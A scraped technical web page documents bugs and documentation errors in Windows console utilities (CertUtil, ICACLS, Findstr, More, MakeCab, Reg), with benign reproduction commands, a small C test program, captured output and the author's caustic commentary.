0xc0000144 (NT: 0xc0000144 STATUS_UNHANDLED_EXCEPTION) -- 3221225796 (-1073741500)
Error message text: {Application Error}
The exception %s (0x%08lx) occurred in the application at location 0x%08lx.
CertUtil: -error command completed successfully.
0xc000021a (NT: 0xc000021a STATUS_SYSTEM_PROCESS_TERMINATED) -- 3221226010 (-1073741286)
Error message text: {Fatal System Error}
The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x).
The system has been shut down.
CertUtil: -error command completed successfully.
            Note: most obviously CertUtil.exe
            doesn’t use the
            FormatMessage()
            function for
            NTSTATUS
            values – the message texts for the
            0xC0000144
            alias STATUS_UNHANDLED_EXCEPTION and
            0xC000021A
            alias STATUS_SYSTEM_PROCESS_TERMINATED, from which both
            Win32 error codes were derived and their message texts
            copied, display properly.
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define STATUS_UNHANDLED_EXCEPTION		0xC0000144L
#define STATUS_SYSTEM_PROCESS_TERMINATED	0xC000021AL
const	DWORD	dwArray[] = {ERROR_SYSTEM_PROCESS_TERMINATED, ERROR_UNHANDLED_EXCEPTION,
		             STATUS_SYSTEM_PROCESS_TERMINATED, STATUS_UNHANDLED_EXCEPTION};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[1234];
	DWORD	dwBlunder;
	DWORD	dwIndex = 0UL;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	HMODULE	hModule = GetModuleHandle(L"NTDLL");
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		do
		{
			dwBlunder = FormatMessage(FORMAT_MESSAGE_FROM_HMODULE | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
			                          hModule,
			                          dwArray[dwIndex],
			                          MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
			                          szBlunder,
			                          sizeof(szBlunder) / sizeof(*szBlunder),
			                          (va_list *) NULL);
			if (dwBlunder == 0UL)
				dwError = GetLastError();
			else
			{
				szBlunder[dwBlunder++] = L'\n';
				if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
					dwError = GetLastError();
				else
					if (dwError ^= dwBlunder)
						dwError = ERROR_WRITE_FAULT;
				//	else
				//		dwError = ERROR_SUCCESS;
			}
		}
		while (++dwIndex < sizeof(dwArray) / sizeof(*dwArray));
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 3.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
{Fatal System Error}
The hs system process terminated unexpectedly with a status of 0x
{Application Error}
The exception s (0x
{Fatal System Error}
The hs system process terminated unexpectedly with a status of 0x
{Application Error}
The exception s (0x
0
            OUCH: �
        The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.The MSDN article Requesting Access Rights to an Object states:
Contrary to the highlighted statements cited above, the documentation as well as the synopsis of Windows’ console applicationNote
The MAXIMUM_ALLOWED constant cannot be used in an ACE.
ICACLs.exe
            but state:
        Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.OUCH⁰: this documentation but fails to enumerate the simple right[…]
[…]icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
Perm is a permission mask that can be specified in one of the following forms:
A sequence of simple rights:
N (no access)
[…]
A comma-separated list in parenthesis of specific rights:
D (delete)
RC (read control)
WDAC (write DAC)
WO (write owner)
S (synchronize)
AS (access system security)
MA (maximum allowed)
[…]
D alias (DE,S),
            the specific right DE and the parameter
            /INHERITANCE:{E|D|R}!
            Command-Line Reference
         Start the Command Processor
            Cmd.exe in an arbitrary,
            preferable empty directory, then display the help text of the
            ICACLs.exe
            console application:
        
ICACLs.exe /?
[…]
    /inheritance:e|d|r
        e - enables inheritance
        d - disables inheritance and copy the ACEs
        r - remove all inherited ACEs
[…]
    perm is a permission mask and can be specified in one of two forms:
        a sequence of simple rights:
                N - no access
[…]
                D - delete access
        a comma-separated list in parentheses of specific rights:
                DE - delete
[…]
        ICACLS name /save aclfile [/T] [/C] [/L] [/Q]
    stores the DACLs for the files and folders that match the name
    into aclfile for later use with /restore. Note that SACLs,
    owner, or integrity labels are not saved.
ICACLS directory [/substitute SidOld SidNew [...]] /restore aclfile
                 [/C] [/L] [/Q]
    applies the stored DACLs to files in directory.
ICACLS name /setowner user [/T] [/C] [/L] [/Q]
    changes the owner of all matching names. This option does not
    force a change of ownership; use the takeown.exe utility for
    that purpose.
ICACLS name /findsid Sid [/T] [/C] [/L] [/Q]
    finds all matching names that contain an ACL
    explicitly mentioning Sid.
ICACLS name /verify [/T] [/C] [/L] [/Q]
    finds all files whose ACL is not in canonical form or whose
    lengths are inconsistent with ACE counts.
ICACLS name /reset [/T] [/C] [/L] [/Q]
    replaces ACLs with default inherited ACLs for all matching files.
ICACLS name [/grant[:r] Sid:perm[...]]
       [/deny Sid:perm [...]]
       [/remove[:g|:d]] Sid[...]] [/T] [/C] [/L] [/Q]
       [/setintegritylevel Level:policy[...]]
    /grant[:r] Sid:perm grants the specified user access rights. With :r,
        the permissions replace any previously granted explicit permissions.
        Without :r, the permissions are added to any previously granted
        explicit permissions.
    /deny Sid:perm explicitly denies the specified user access rights.
        An explicit deny ACE is added for the stated permissions and
        the same permissions in any explicit grant are removed.
    /remove[:[g|d]] Sid removes all occurrences of Sid in the ACL. With
        :g, it removes all occurrences of granted rights to that Sid. With
        :d, it removes all occurrences of denied rights to that Sid.
    /setintegritylevel [(CI)(OI)]Level explicitly adds an integrity
        ACE to all matching files.  The level is to be specified as one
        of:
            L[ow]
            M[edium]
            H[igh]
        Inheritance options for the integrity ACE may precede the level
        and are applied only to directories.
    /inheritance:e|d|r
        e - enables inheritance
        d - disables inheritance and copy the ACEs
        r - remove all inherited ACEs
Note:
    Sids may be in either numerical or friendly name form. If a numerical
    form is given, affix a * to the start of the SID.
    /T indicates that this operation is performed on all matching
        files/directories below the directories specified in the name.
    /C indicates that this operation will continue on all file errors.
        Error messages will still be displayed.
    /L indicates that this operation is performed on a symbolic link
       itself versus its target.
    /Q indicates that icacls should suppress success messages.
    ICACLS preserves the canonical ordering of ACE entries:
            Explicit denials
            Explicit grants
            Inherited denials
            Inherited grants
    perm is a permission mask and can be specified in one of two forms:
        a sequence of simple rights:
                N - no access
                F - full access
                M - modify access
                RX - read and execute access
                R - read-only access
                W - write-only access
                D - delete access
        a comma-separated list in parentheses of specific rights:
                DE - delete
                RC - read control
                WDAC - write DAC
                WO - write owner
                S - synchronize
                AS - access system security
                MA - maximum allowed
                GR - generic read
                GW - generic write
                GE - generic execute
                GA - generic all
                RD - read data/list directory
                WD - write data/add file
                AD - append data/add subdirectory
                REA - read extended attributes
                WEA - write extended attributes
                X - execute/traverse
                DC - delete child
                RA - read attributes
                WA - write attributes
        inheritance rights may precede either form and are applied
        only to directories:
                (OI) - object inherit
                (CI) - container inherit
                (IO) - inherit only
                (NP) - don't propagate inherit
                (I) - permission inherited from parent container
Examples:
        icacls c:\windows\* /save AclFile /T
        - Will save the ACLs for all files under c:\windows
          and its subdirectories to AclFile.
        icacls c:\windows\ /restore AclFile
        - Will restore the Acls for every file within
          AclFile that exists in c:\windows and its subdirectories.
        icacls file /grant Administrator:(D,WDAC)
        - Will grant the user Administrator Delete and Write DAC
          permissions to file.
        icacls file /grant *S-1-1-0:(D,WDAC)
        - Will grant the user defined by sid S-1-1-0 Delete and
          Write DAC permissions to file.
         Create an (empty) file blunder.tmp in the current
            directory, remove all (inherited) access permissions from it, add
            explicit access permissions except (DE) alias
            DELETE for the well-known universal
            SIDs
            S-1-3-0 alias
            CREATOR OWNER,
            S-1-3-1 alias
            CREATOR GROUP,
            S-1-3-2 alias
            CREATOR OWNER SERVER plus
            S-1-3-3 alias
            CREATOR GROUP SERVER to it, display the
            resulting
            DACL
            and delete the file:
        
COPY NUL: blunder.tmp ICACLS.EXE blunder.tmp /DENY *S-1-1-0:D /GRANT *S-1-3-3:(AS) *S-1-3-2:(DE) *S-1-3-1:(MA) *S-1-3-0:(S) /INHERITANCE:R /Q CACLS.EXE blunder.tmp /S ICACLS.EXE blunder.tmp /Q ERASE blunder.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
1 file(s) copied. Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\blunder.tmp "D:PAI(D;;0x110000;;;WD)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;SD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)" blunder.tmp Everyone:(DENY)(D) AMNESIAC\Stefan:(S) AMNESIAC\None: AMNESIAC\Stefan:(DE) AMNESIAC\None:OUCH¹:
ICACLs.exe maps
            its simple right D to the specific rights list
            (DE,S) alias DELETE
            plus SYNCHRONIZE!
         OUCH²: ICACLs.exe maps
            its specific rights (AS) alias
            ACCESS_SYSTEM_SECURITY and
            (MA) alias
            MAXIMUM_ALLOWED to the simple right
            N alias NO_ACCESS!
        
 Note: ICACLs.exe converts the
            well-known universal
            SIDs
            S-1-3-0 alias
            CREATOR OWNER,
            S-1-3-1 alias
            CREATOR GROUP,
            S-1-3-2 alias
            CREATOR OWNER SERVER and
            S-1-3-3 alias
            CREATOR GROUP SERVER to the effective
            user respectively (primary) group
            SID
            AMNESIAC\Stefan
            and
            AMNESIAC\None
            of the file system object creator.
        
 Create the subdirectory Blunder in the current
            directory, remove all (inherited) access permissions from it, add
            inheritable access permissions except (DE) alias
            DELETE for the well-known universal
            SIDs
            S-1-3-0 alias
            CREATOR OWNER,
            S-1-3-1 alias
            CREATOR GROUP,
            S-1-3-2 alias
            CREATOR OWNER SERVER and
            S-1-3-3 alias
            CREATOR GROUP SERVER to it, display the
            resulting
            DACL
            and remove the subdirectory:
        
MKDIR Blunder ICACLS.EXE Blunder /DENY *S-1-3-0:(CI)(AS) /GRANT *S-1-3-1:(OI)(MA) *S-1-3-2:(CI)(S) *S-1-3-3:(OI)(X) /INHERITANCE:R /Q CACLS.EXE Blunder /S ICACLS.EXE Blunder /Q RMDIR Blunder
Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\Blunder "D:PAI(D;;;;;S-1-5-21-820728443-44925810-1835867902-1000)(D;CIIO;0x1000000;;;CO)(A;;WP;;;S-1-5-21-820728443-44925810-1835867902-513)(A;OIIO;WP;;;S-1-3-3)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)(A;OIIO;0x2000000;;;CG)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;CIIO;0x100000;;;S-1-3-2)" Blunder AMNESIAC\Stefan:(DENY)(S) CREATOR OWNER:(CI)(IO)(DENY)(S,AS) AMNESIAC\None:(X) CREATOR OWNER SERVER:(OI)(IO)(X) AMNESIAC\None: CREATOR GROUP:(OI)(IO)(MA) AMNESIAC\Stefan:(S) CREATOR GROUP SERVER:(CI)(IO)(S) Successfully processed 1 files; Failed processing 0 filesOUCH³:
ICACLs.exe
            hallucinates
            SYNCHRONIZE access permission in
            both Access Deniedaccess control entries – in the first access control entry with
NO_ACCESS access permission and in
            the second (inheritable) access control entry with
            invalid
            ACCESS_SYSTEM_SECURITY access
            permission too!
         OUCH⁴: it also creates an (inheritable)
            access control entry with invalid
            MAXIMUM_ALLOWED access permission!
        
 Note: for each inheritable access permission,
            ICACLs.exe creates an extraneous
            non-inheritable access permission with the well-known universal
            SIDs
            S-1-3-0 alias
            CREATOR OWNER,
            S-1-3-1 alias
            CREATOR GROUP,
            S-1-3-2 alias
            CREATOR OWNER SERVER and
            S-1-3-3 alias
            CREATOR GROUP SERVER converted to the
            effective user respectively (primary) group
            SID
            AMNESIAC\Stefan
            and
            AMNESIAC\None
            of the file system object creator.
        
DELETE access permission as well as
            to deny (un)intentionally any access to file system objects via the
            ACCESS_SYSTEM_SECURITY and
            MAXIMUM_ALLOWED access permissions!
        They replied with the following statements:
Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
Certutil
            command specifies:
        The following table describes the verbs that can be used with the certutil command.
Verbs Description -dump Dump configuration information or files … … 
 Start the Command Processor
            Cmd.exe in an
            arbitrary, preferable empty directory, then execute the following
            command lines to create the
            UTF-16LE
            encoded text file blunder.tmp twice and dump it with
            the Certutil.exe utility:
        
1>blunder.tmp "%COMSPEC%" /U /D /C ECHO PAUSE CERTUTIL.EXE /DUMP blunder.tmp 1>blunder.tmp "%COMSPEC%" /U /D /C ECHO pause CERTUTIL.EXE /DUMP blunder.tmp DIR blunder.tmp
3c 05 12 14 <... CertUtil: -error command completed successfully. a5 ab ac 7c ...| CertUtil: -error command completed successfully. Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\Desktop 04/27/2018 08:15 PM 14 blunder.tmp 1 File(s) 14 bytes 0 Dir(s) 9,876,543,210 bytes freeOUCH¹: � WTF?
 Create the
            UTF-16LE
            encoded text file
            blunder.txt
            containing the Greek alphabet in capital and small letters in the
            current directory:
        
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψωblunder.txt contains 51
            Unicode
            code points in 102 bytes – a leading
            Byte Order Mark
            U+FEFF, one line
            of 48 letters from U+0391
            to U+03C9 (not contiguous),
            followed by a trailing
            CR/LF
            pair.
         Display the file blunder.txt created in step 2.
            with the internal
            Type
            command:
        
TYPE blunder.txt
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
 Create the
            ANSI
            encoded file blunder.tmp with the internal
            Type
            command and display it afterwards:
        
1>blunder.tmp TYPE blunder.txt TYPE blunder.tmp
??G????Ø?????????S??F??Oaß?de??????µ???p?st?f???
 Dump the file blunder.txt created in step 2. with
            the Certutil.exe utility:
        
CERTUTIL.EXE /DUMP blunder.txt
0000 ... 0032 0000 3f 3f 47 3f 3f 3f 3f 54 3f 3f 3f 3f 3f 3f 3f 3f ??G????T???????? 0010 3f 53 3f 3f 46 3f 3f 4f 61 df 3f 64 65 3f 3f 3f ?S??F??Oa.?de??? 0020 3f 3f 3f b5 3f 3f 3f 70 3f 73 74 3f 66 3f 3f 3f ???.???p?st?f??? 0030 0d 0a .. CertUtil: -dump command completed successfully.OUCH²:
Certutil.exe converts
            UTF-16LE
            encoded files to
            ANSI
            before it dumps their now destroyed content –
            a completely braindead approach – and even dares to call this
            epic failure successful!
 Dump the file blunder.txt created in step 2. using
            the undocumented -encodehex alias
            /ENCODEHEX verb of the Certutil.exe
            utility and display the output file:
        
CERTUTIL.EXE /ENCODEHEX /F blunder.txt blunder.tmp TYPE blunder.tmp
Input Length = 102 Output Length = 508 CertUtil: -encodehex command completed successfully. 0000 ff fe 91 03 92 03 93 03 94 03 95 03 96 03 97 03 ................ 0010 98 03 99 03 9a 03 9b 03 9c 03 9d 03 9e 03 9f 03 ................ 0020 a0 03 a1 03 a3 03 a4 03 a5 03 a6 03 a7 03 a8 03 ................ 0030 a9 03 b1 03 b2 03 b3 03 b4 03 b5 03 b6 03 b7 03 ................ 0040 b8 03 b9 03 ba 03 bb 03 bc 03 bd 03 be 03 bf 03 ................ 0050 c0 03 c1 03 c3 03 c4 03 c5 03 c6 03 c7 03 c8 03 ................ 0060 c9 03 0d 00 0a 00 ......
 Dump the executable file of the
            Command Processor, specified by its
            absolute, fully qualified path name provided in the environment
            variable COMSPEC:
        
CERTUTIL.EXE /DUMP "%COMSPEC%"
C:\Windows\system32\cmd.exe: Lang 04b00409 (1200.1033) File 6.1:7601.23403 Product 6.1:7601.23403 CertUtil: -dump command completed successfully.OOPS¹: instead of the expected (hexadecimal) dump,
Certutil.exe displays some parts of the
            VERSIONINFO
            resource embedded in the portable executable image file
            Cmd.exe.
         Dump some other executable files located in the
            system directory
 %SystemRoot%\System32\,
            specified by their unqualified name and extension:
        
CERTUTIL.EXE /DUMP main.cpl CERTUTIL.EXE /DUMP slmgr.vbs SET PATHEXT
main.cpl: Lang 04b00409 (1200.1033) File 6.1:7601.17514 Product 6.1:7601.17514 CertUtil: -dump command completed successfully. CertUtil: -dump command FAILED: 0x80070002 (WIN32: 2 ERROR_FILE_NOT_FOUND) CertUtil: The system cannot find the file specified. PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCOOPS²:
Certutil.exe searches the
            PATH, but does not evaluate the environment variable
            PATHEXT!
         Finally dump another executable file located in the
            system directory
, specified by just its unqualified name
            without extension:
        
CERTUTIL.EXE /DUMP ntdll
ntdll: Lang 04b00409 (1200.1033) File 6.1:7601.24545 Product 6.1:7601.24545 CertUtil: -dump command completed successfully.OOPS³: when no extension is specified,
Certutil.exe searches the PATH for
            DLLs!
        Findstr
            command states:
        Searches for patterns of text in files.[…]
findstr [/b] [/e] [/l | /r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/f:<File>] [/c:<String>] [/g:<File>] [/d:<DirList>] [/a:<ColorAttribute>] [/off[line]] <Strings> [<Drive>:][<Path>]<FileName>[ ...][…]
Parameter Description … … /l Processes search strings literally. /r Processes search strings as regular expressions. This is the default setting. … … /c:<String> Uses the specified text as a literal search string. /g:<File> Gets search strings from the specified file. … … <Strings> Specifies the text to search for in FileName. Required. 
 Create the
            ASCII
            text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
E
E_
e
e_ Find all lines containing the € sign in the file
            blunder.txt created in step 1.:
        
FINDSTR.EXE /C:"€" blunder.txt
E_ e_OUCH¹: contrary to the highlighted statement of the documentation cited above, the parameter
‹Strings› is not
            required if one of the parameters
            /C:‹String› or
            /G:‹File› is given instead!
         OUCH²:
            Findstr.exe
            hallucinates and misinterprets E_ as well as
            e_ as the € sign!
        
More
            command states:
        Displays one screen of output at a time.[…]
<Command> | more [/c] [/p] [/s] [/t<N>] [+<N>] more [[/c] [/p] [/s] [/t<N>] [+<N>]] < [<Drive>:][<Path>]<FileName> more [/c] [/p] [/s] [/t<N>] [+<N>] [<Files>]
 Create the
            UTF-16LE
            encoded text file
            blunder.txt
            containing the Cyrillic alphabet in capital and small letters in an
            arbitrary, preferable empty directory:
        
        
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюяblunder.txt contains 99
            Unicode
            code points in 198 bytes – a leading
            Byte Order Mark
            U+FEFF, a first
            line of 47 capital letters from
            U+0401 to
            U+042F, followed by an
            intermediate
            CR/LF
            pair, a second line of 47 small letters from
            U+0451 to
            U+045F and
            U+0430 to
            U+044F, followed by a
            trailing
            CR/LF
            pair.
         Display the file blunder.txt created in step 1.
            with the internal
            Type
            command:
        
TYPE blunder.txt
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
 Display the file blunder.txt created in step 1.
            with the
            More
            utility:
        
MORE.COM blunder.txt
??????????????????????????????????????????????? ???????????????????????????????????????????????OUCH:
More.com
            converts files from
            UTF-16LE
            to
            ANSI
            before it displays their now destroyed content
            – a completely braindead approach!
         Display the file blunder.txt created in step 1. a
            second time:
        
TYPE blunder.txt | MORE.COM
???????????????????????????????????????????????? ????????????????????????????????????????????????
Package existing files into a cabinet (.cab) file.makecab [/v[n]] [/d var=‹value› ...] [/l ‹dir›] ‹source› [‹destination›] makecab [/v[‹n›]] [/d var=‹value› ...] /f ‹directives_file› […]
Parameter Description ‹source› File to compress. ‹destination› File name to give compressed file. If omitted, the last character of the source file name is replaced with an underscore (_) and used as the destination. /f ‹directives_file› A file with makecab directives (may be repeated). /d var=‹value› Defines variable with specified value. /l ‹dir› Location to place destination (default is current directory). /v[‹n›] Set debugging verbosity level (0=none,...,3=full). /? Displays help at the command prompt. 
 Start the Command Processor
            Cmd.exe, then execute
            the following command lines:
        
SET TMP=NUL: MAKECAB.EXE "%COMSPEC%"
Cabinet Maker - Lossless Data Compression Tool [Wed Apr 1 12:34:56] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2 [Wed Apr 1 12:34:58] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2 [Wed Apr 1 12:35:00] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2 … ^COUCH: proper error handling is most obviously (next to) impossible for Microsoft’s developers – an endless repetition using the same invalid filename, indicated with Win32 error code 123 alias
ERROR_INVALID_NAME,
            is Adds a new subkey or entries from the registry.The TechNet article Reg delete specifies:reg add <KeyName> [{/v ValueName | /ve}] [/t DataType] [/s Separator] [/d Data] [/f]
Parameter Description ‹KeyName› Specifies the full path of the subkey or entry to be added. To specify a remote computer, include the computer name (in the format \\<ComputerName>\) as part of the KeyName. Omitting \\ComputerName\ causes the operation to default to the local computer. The KeyName must include a valid root key. Valid root keys for the local computer are: HKLM, HKCU, HKCR, HKU, and HKCC. If a remote computer is specified, valid root keys are: HKLM and HKU. /v <ValueName> Specifies the name of the registry entry to be added under the specified subkey. /ve Specifies that the registry entry that is added to the registry has a null value. /t <Type> Specifies the type for the registry entry. Type must be one of the following: 
REG_SZ
REG_MULTI_SZ
REG_DWORD_BIG_ENDIAN
REG_DWORD
REG_BINARY
REG_DWORD_LITTLE_ENDIAN
REG_LINK
REG_FULL_RESOURCE_DESCRIPTOR
REG_EXPAND_SZ/s <Separator> Specifies the character to be used to separate multiple instances of data when the REG_MULTI_SZ data type is specified and more than one entry needs to be listed. If not specified, the default separator is \0. /d <Data> Specifies the data for the new registry entry. … … /f Adds the registry entry without prompting for confirmation. /? Displays help for reg add at the command prompt. 
Deletes a subkey or entries from the registry.Reg delete ‹KeyName› [{/v ‹ValueName› | /ve | /va}] [/f]
Parameter Description ‹KeyName› Specifies the full path of the subkey or entry to be deleted. To specify a remote computer, include the computer name (in the format \\ComputerName\) as part of the KeyName. Omitting \\ComputerName\ causes the operation to default to the local computer. The KeyName must include a valid root key. Valid root keys for the local computer are: HKLM, HKCU, HKCR, HKU, and HKCC. If a remote computer is specified, valid root keys are: HKLM and HKU. /v ‹ValueName› Deletes a specific entry under the subkey. If no entry is specified, then all entries and subkeys under the subkey will be deleted. /ve Specifies that only entries that have no value will be deleted. /va Deletes all entries under the specified subkey. Subkeys under the specified subkey are not deleted. … … /f Deletes the existing registry subkey or entry without asking for confirmation. /? Displays help for reg delete at the command prompt. 
 Start the Command Processor
            Cmd.exe, then execute
            the following command lines:
        
REG.EXE ADD HKCU\Environment /V TMP 0<NUL:
Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? … ^COUCH: proper error handling (here detecting
end of fileon standard input) is most obviously underestimated and not deemed necessary in Redmond!
 Note: the demonstration of this
            blunder beginner’s error with other
            subcommands of the
            Reg
            utility is left as an exercise to the reader.
        
REG.EXE DELETE HKCU\Environment /V TMP 0<NUL:
Delete the registry value (Default) (Yes/No)? Delete registry value (Default) (Yes/No)? Delete registry value (Default) (Yes/No)? Delete registry value (Default) (Yes/No)? … ^C
Copies the specified subkeys, entries, and values of the local computer into a file for transfer to other servers.The TechNet article Reg import specifies:
Copies the contents of a file that contains exported registry subkeys, entries, and values into the registry of the local computer.The MSKB article 310516 specifies the format and syntax of registry editor script files that is missing in the documentation referenced above, but is awfully bad!
 Note: especially the notation
            =hex(2):‹comma separated list of hexadecimal values›
            required for REG_EXPAND_SZ values,
            =hex(7):‹comma separated list of hexadecimal values›
            required for REG_MULTI_SZ values and
            =hex(11):‹comma separated list of 8 hexadecimal values›
            required for REG_QWORD alias
            REG_QWORD_LITTLE_ENDIAN values is
            user-unfriendly.
        
 Create the text file
            blunder.reg
            with the following content in an arbitrary, preferable empty
            directory:
        
REGEDIT4
[HKEY_CURRENT_USER\Blunder]
""="Blunder"
"none"=hex(0):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
"string"=hex(1):57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,00,00,4e,00,54,00,00,00
"string"="WINDOWS\0NT"
"expand"=hex(2):25,77,69,6e,64,69,72,25,00
"expand"=expand:"%WINDIR%"
"binary"=hex(3):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
"dword"=dword:-1
"dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
"dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
"qword"=hex(b):01,23,45,67,89,ab,cd,ef
"qword"=qword:0123456789abcdef
"link"=hex(6):
"multi"=hex(7):57,69,6e,64,6f,77,73,00,4e,54,00,00
"multi"=multi:"WINDOWS","NT"
''="''"
@='@' Import the registry entries from the script file
            blunder.reg into the
            Registry:
        
SET __COMPAT_LAYER=RunAsInvoker REGEDIT.EXE blunder.reg
REG.EXE IMPORT blunder.reg ECHO %ERRORLEVEL%
The operation completed successfully.
0
            OUCH¹: despite the multiple syntax errors in
            the registry script file blunder.reg created in
            step 1., the Registry Console Tool
            Reg.exe yields an
            explicit success message!
         OOPS: an empty string can be used instead of the
            @ as registry value name to specify the
            (unnamed) default entry of a registry key.
        
Query the imported registry entries:
REG.EXE QUERY HKEY_CURRENT_USER\Blunder ECHO %ERRORLEVEL%
HKEY_CURRENT_USER\Blunder
    (Default)    REG_SZ    Blunder
    none    REG_NONE    000102030405060708090A0B0C0D0E0F
    string    REG_SZ    Windows
    expand    REG_EXPAND_SZ    %windir%
    dword_little_endian    REG_DWORD    0x67452301
    dword_big_endian    REG_DWORD_BIG_ENDIAN    0x67452301
    qword    REG_QWORD    0xefcdab8967452301
    link    REG_LINK    
    multi    REG_MULTI_SZ    Windows\0NT
0
            OUCH²: thanksto the
U+0000 alias NUL embedded in the value of
            the entry named string, the
            Registry Console Tool
            Reg.exe fails to display
            the whole string Windows\0NT\0!
         OUCH³: it also fails to distinguish
            big endian
 from little endian
 byte order in its
            output!
        
 Export the just imported registry entries from the registry key
            HKEY_CURRENT_USER\Blunder to the file
            blunder.txt:
        
SET __COMPAT_LAYER=RunAsInvoker REGEDIT.EXE /E blunder.txt HKEY_CURRENT_USER\Blunder
REG.EXE EXPORT HKEY_CURRENT_USER\Blunder blunder.txt ECHO %ERRORLEVEL%
The operation completed successfully. 0
 Note: with the
            undocumented command line option /E
            the (graphical) Registry Editor
            RegEdit.exe exports in
            UTF-16LE
            encoding, and with the undocumented command line
            option /A it exports in
            ANSI
            encoding.
        
Display the exported registry key and its entries:
TYPE blunder.txt
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Blunder] @="Blunder" "none"=hex(0):00,01,02,03,04,05,06,07,08,09,0a,0b,0c,0d,0e,0f "string"="Windows" "expand"=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,00,00 "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef "link"=hex(6): "multi"=hex(7):57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,00,00,4e,00,54,00,00,\ 00,00,00Note: indicated by the tag line
Windows Registry Editor Version 5.00, the
            Registry Console Tool
            Reg.exe exports in
            UTF-16LE
            encoding – both the file and the (string) values.
         Delete the registry key
            HKEY_CURRENT_USER\Blunder with all its entries:
        
REG.EXE DELETE HKEY_CURRENT_USER\Blunder /F ECHO %ERRORLEVEL%
The operation completed successfully. 0
RegEdit.exe instead of the
            Registry Console Tool
            Reg.exe is left as an
            exercise to the reader.
        To insert a Unicode character, type the character code, press ALT, and then press X. For example, to type a dollar symbol ($), type 0024, press ALT, and then press X.The MSKB articles Keyboard shortcuts for international characters and Keyboard shortcuts to add language accent marks in Word and Outlook state:
Contrary to the MSKB articles cited above, the hexadecimal Unicode character code doesn’t need to be typed before the Alt X key combination, and this function is supported in all programs which use an arbitrary Rich Edit Control, not just in Microsoft Office applications! Rich Edit Control, Using Rich Edit Controls
To insert this Press … … The Unicode character for the specified Unicode (hexadecimal) character code The character code, ALT+X 
